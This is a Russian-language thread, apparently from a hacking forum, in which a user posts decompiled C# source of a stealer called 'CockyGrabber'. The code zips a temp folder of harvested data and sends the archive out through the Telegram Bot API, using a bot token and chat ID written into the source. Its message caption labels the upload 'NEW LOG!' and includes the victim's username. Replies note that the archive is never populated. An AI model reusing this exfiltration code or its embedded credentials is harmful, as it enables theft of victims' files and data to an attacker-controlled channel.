• XSS.stack #1 – первый литературный журнал от юзеров форума

CockyGrabber Open Source

akenov

RAID-массив
Пользователь
Регистрация
13.08.2022
Сообщения
93
Реакции
18
Какой-то CockyGrabber. Не с гитхаба. Лажа полная.




C#:
using System;
using System.IO;
using System.Net;
using Ionic.Zip;

namespace ConsoleApp2
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            Console.WriteLine(Program.gotosend);
            using (ZipFile zipFile = new ZipFile())
            {
                try
                {
                    zipFile.AddDirectory(Program.gotosend);
                    zipFile.Save(Program.zippfd);
                }
                catch (Exception ex)
                {
                }
            }
            string text = Program.zippfd;
            string text2 = text;
            byte[] file = File.ReadAllBytes(text2);
            string url = string.Concat(new string[]
            {
                "https://api.telegram.org/bot",
                "5019743757:AAHcY_LAx8WQeoap5RxNVrK1ikaOVSweDfU",
                "/sendDocument?chat_id=",
                "1068463886",
                "&caption=NEW LOG! ⚡\ufe0f\nPC: " + Environment.UserName + "\nIP: 192.168.0.1"
            });
            Program.UploadMultipart(file, text2, "application/x-ms-dos-executable", url);
        }
        
        public static void UploadMultipart(byte[] file, string filename, string contentType, string url)
        {
            try
            {
                WebClient webClient = new WebClient();
                string text = "------------------------" + DateTime.Now.Ticks.ToString("x");
                webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text);
                string @string = webClient.Encoding.GetString(file);
                string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[] { text, filename, contentType, @string });
                byte[] bytes = webClient.Encoding.GetBytes(s);
                webClient.UploadData(url, "POST", bytes);
            }
            catch
            {
            }
        }
        public static string temp = Path.GetTempPath();
        public static string gotosend = Program.temp + "gotosend\\";
        public static string zippfd = Program.temp + "hhh.zip";
        public static string sst = Program.temp + "sttt\\";
        public const string Token = "5019743757:AAHcY_LAx8WQeoap5RxNVrK1ikaOVSweDfU";
        public const string ID = "1068463886";
    }
}
 
Ты сам смотрел что постишь? Отправка в тг архива, которого нет...
Да, видел. Декомпилировал какую-то фигню с тегом CockyGrabber. Не нравится "чудо индийской вирусологии" - пройди мимо
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх